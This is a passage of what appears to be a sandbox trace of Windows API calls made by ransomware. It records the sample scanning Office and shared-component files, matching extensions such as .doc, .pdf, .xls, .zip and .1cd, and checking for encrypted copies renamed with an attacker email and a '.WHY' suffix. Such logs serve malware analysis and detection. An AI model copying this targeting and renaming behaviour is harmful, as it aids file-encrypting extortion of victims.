(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.856] lstrlenW (lpString=".doc") returned 4 [0215.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0215.856] lstrlenW (lpString=".docx") returned 5 [0215.856] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0215.856] lstrlenW (lpString=".pdf") returned 4 [0215.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0215.856] lstrlenW (lpString=".xls") returned 4 [0215.857] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0215.857] lstrlenW (lpString=".xlsx") returned 5 [0215.857] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0215.857] lstrlenW (lpString=".ppt") returned 4 [0215.857] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0215.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.858] lstrlenW (lpString=".zip") returned 4 [0215.858] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0215.858] lstrlenW (lpString=".rar") returned 4 [0215.858] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0215.858] lstrlenW (lpString=".bz2") returned 4 [0215.858] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0215.858] lstrlenW (lpString=".7z") returned 3 [0215.858] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0215.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.858] lstrlenW (lpString=".dbf") returned 4 [0215.858] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0215.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.858] lstrlenW (lpString=".1cd") returned 4 [0215.859] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0215.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.859] lstrlenW (lpString=".jpg") returned 4 [0215.859] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0215.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.859] lstrlenW (lpString=".doc") returned 4 [0215.859] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0215.859] lstrlenW (lpString=".docx") returned 5 [0215.859] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0215.861] lstrlenW (lpString=".pdf") returned 4 [0215.861] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0215.861] lstrlenW (lpString=".xls") returned 4 [0215.861] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0215.861] lstrlenW (lpString=".xlsx") returned 5 [0215.861] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0215.861] lstrlenW (lpString=".ppt") returned 4 [0215.861] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0215.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.861] lstrlenW (lpString=".zip") returned 4 [0215.862] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0215.862] lstrlenW (lpString=".rar") returned 4 [0215.862] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0215.862] lstrlenW (lpString=".bz2") returned 4 [0215.862] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0215.862] lstrlenW (lpString=".7z") returned 3 [0215.862] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0215.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.863] lstrlenW (lpString=".dbf") returned 4 [0215.863] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0215.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.864] lstrlenW (lpString=".1cd") returned 4 [0215.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0215.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.864] lstrlenW (lpString=".jpg") returned 4 [0215.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0215.864] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0215.865] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0215.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0216.009] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=4096) returned 1 [0216.009] CloseHandle (hObject=0x30c) returned 1 [0216.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0216.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0216.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.011] lstrlenW (lpString=".doc") returned 4 [0216.011] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0216.011] lstrlenW (lpString=".docx") returned 5 [0216.011] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0216.011] lstrlenW (lpString=".pdf") returned 4 [0216.011] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0216.011] lstrlenW (lpString=".xls") returned 4 [0216.011] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0216.011] lstrlenW (lpString=".xlsx") returned 5 [0216.012] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0216.012] lstrlenW (lpString=".ppt") returned 4 [0216.012] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0216.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.012] lstrlenW (lpString=".zip") returned 4 [0216.012] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0216.012] lstrlenW (lpString=".rar") returned 4 [0216.012] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0216.012] lstrlenW (lpString=".bz2") returned 4 [0216.012] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0216.012] lstrlenW (lpString=".7z") returned 3 [0216.014] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0216.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.014] lstrlenW (lpString=".dbf") returned 4 [0216.014] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0216.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.014] lstrlenW (lpString=".1cd") returned 4 [0216.014] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.015] lstrlenW (lpString=".jpg") returned 4 [0216.015] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0216.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.015] lstrlenW (lpString=".doc") returned 4 [0216.015] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0216.015] lstrlenW (lpString=".docx") returned 5 [0216.015] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0216.015] lstrlenW (lpString=".pdf") returned 4 [0216.015] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0216.016] lstrlenW (lpString=".xls") returned 4 [0216.016] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0216.016] lstrlenW (lpString=".xlsx") returned 5 [0216.016] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0216.016] lstrlenW (lpString=".ppt") returned 4 [0216.016] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0216.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.018] lstrlenW (lpString=".zip") returned 4 [0216.018] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0216.018] lstrlenW (lpString=".rar") returned 4 [0216.018] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0216.019] lstrlenW (lpString=".bz2") returned 4 [0216.019] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0216.019] lstrlenW (lpString=".7z") returned 3 [0216.019] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0216.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.019] lstrlenW (lpString=".dbf") returned 4 [0216.020] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0216.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.020] lstrlenW (lpString=".1cd") returned 4 [0216.020] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0216.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0216.020] lstrlenW (lpString=".jpg") returned 4 [0216.020] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0216.021] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0216.021] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0216.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0216.168] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=4096) returned 1 [0216.168] CloseHandle (hObject=0x300) returned 1 [0216.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0216.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0216.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0216.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0216.176] lstrlenW (lpString=".doc") returned 4 [0216.176] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0216.176] lstrlenW (lpString=".docx") returned 5 [0216.177] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0216.177] lstrlenW (lpString=".pdf") returned 4 [0216.177] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0216.177] lstrlenW (lpString=".xls") returned 4 [0216.178] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0216.178] lstrlenW (lpString=".xlsx") returned 5 [0216.178] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0216.178] lstrlenW (lpString=".ppt") returned 4 [0216.178] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0216.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0216.178] lstrlenW (lpString=".zip") returned 4 [0216.178] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0216.178] lstrlenW (lpString=".rar") returned 4 [0216.178] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0216.179] lstrlenW (lpString=".bz2") returned 4 [0216.179] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0216.179] lstrlenW (lpString=".7z") returned 3 [0216.179] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0216.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0216.179] lstrlenW (lpString=".dbf") returned 4 [0216.179] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.460] lstrlenW (lpString=".1cd") returned 4 [0217.460] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.460] lstrlenW (lpString=".jpg") returned 4 [0217.460] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.461] lstrlenW (lpString=".doc") returned 4 [0217.461] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0217.461] lstrlenW (lpString=".docx") returned 5 [0217.462] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0217.462] lstrlenW (lpString=".pdf") returned 4 [0217.462] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0217.462] lstrlenW (lpString=".xls") returned 4 [0217.462] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0217.462] lstrlenW (lpString=".xlsx") returned 5 [0217.462] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0217.462] lstrlenW (lpString=".ppt") returned 4 [0217.462] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0217.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.462] lstrlenW (lpString=".zip") returned 4 [0217.462] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0217.462] lstrlenW (lpString=".rar") returned 4 [0217.462] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0217.463] lstrlenW (lpString=".bz2") returned 4 [0217.463] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0217.463] lstrlenW (lpString=".7z") returned 3 [0217.463] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0217.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.463] lstrlenW (lpString=".dbf") returned 4 [0217.463] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0217.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.463] lstrlenW (lpString=".1cd") returned 4 [0217.463] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0217.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0217.463] lstrlenW (lpString=".jpg") returned 4 [0217.464] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0217.464] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".WHY") returned -1 [0217.464] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0217.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0219.832] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=55680) returned 1 [0219.833] CloseHandle (hObject=0x37c) returned 1 [0219.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0219.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.833] lstrlenW (lpString=".doc") returned 4 [0219.834] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0219.834] lstrlenW (lpString=".docx") returned 5 [0219.834] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0219.834] lstrlenW (lpString=".pdf") returned 4 [0219.834] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0219.834] lstrlenW (lpString=".xls") returned 4 [0219.834] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0219.834] lstrlenW (lpString=".xlsx") returned 5 [0219.834] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0219.834] lstrlenW (lpString=".ppt") returned 4 [0219.834] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0219.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.834] lstrlenW (lpString=".zip") returned 4 [0219.834] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0219.835] lstrlenW (lpString=".rar") returned 4 [0219.835] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0219.835] lstrlenW (lpString=".bz2") returned 4 [0219.835] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0219.835] lstrlenW (lpString=".7z") returned 3 [0219.835] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.835] lstrlenW (lpString=".dbf") returned 4 [0219.835] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0219.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.835] lstrlenW (lpString=".1cd") returned 4 [0219.835] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0219.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.836] lstrlenW (lpString=".jpg") returned 4 [0219.836] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0219.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.836] lstrlenW (lpString=".doc") returned 4 [0219.836] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0219.836] lstrlenW (lpString=".docx") returned 5 [0219.836] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0219.836] lstrlenW (lpString=".pdf") returned 4 [0219.836] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0219.836] lstrlenW (lpString=".xls") returned 4 [0219.836] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0219.837] lstrlenW (lpString=".xlsx") returned 5 [0219.837] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0219.837] lstrlenW (lpString=".ppt") returned 4 [0219.837] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0219.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.837] lstrlenW (lpString=".zip") returned 4 [0219.837] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0219.837] lstrlenW (lpString=".rar") returned 4 [0219.837] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0219.837] lstrlenW (lpString=".bz2") returned 4 [0219.837] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0219.837] lstrlenW (lpString=".7z") returned 3 [0219.838] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.838] lstrlenW (lpString=".dbf") returned 4 [0219.838] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0219.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.838] lstrlenW (lpString=".1cd") returned 4 [0219.838] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0219.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0219.838] lstrlenW (lpString=".jpg") returned 4 [0219.838] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0219.839] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0219.839] lstrlenW (lpString="ACEERR.DLL") returned 10 [0219.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.687] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=43408) returned 1 [0222.687] CloseHandle (hObject=0x378) returned 1 [0222.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0222.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.699] lstrlenW (lpString=".doc") returned 4 [0222.699] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.699] lstrlenW (lpString=".docx") returned 5 [0222.699] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0222.699] lstrlenW (lpString=".pdf") returned 4 [0222.699] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.699] lstrlenW (lpString=".xls") returned 4 [0222.699] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.700] lstrlenW (lpString=".xlsx") returned 5 [0222.700] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0222.700] lstrlenW (lpString=".ppt") returned 4 [0222.700] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.700] lstrlenW (lpString=".zip") returned 4 [0222.700] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.700] lstrlenW (lpString=".rar") returned 4 [0222.701] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.701] lstrlenW (lpString=".bz2") returned 4 [0222.701] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.701] lstrlenW (lpString=".7z") returned 3 [0222.701] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.701] lstrlenW (lpString=".dbf") returned 4 [0222.701] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.701] lstrlenW (lpString=".1cd") returned 4 [0222.701] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.701] lstrlenW (lpString=".jpg") returned 4 [0222.701] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 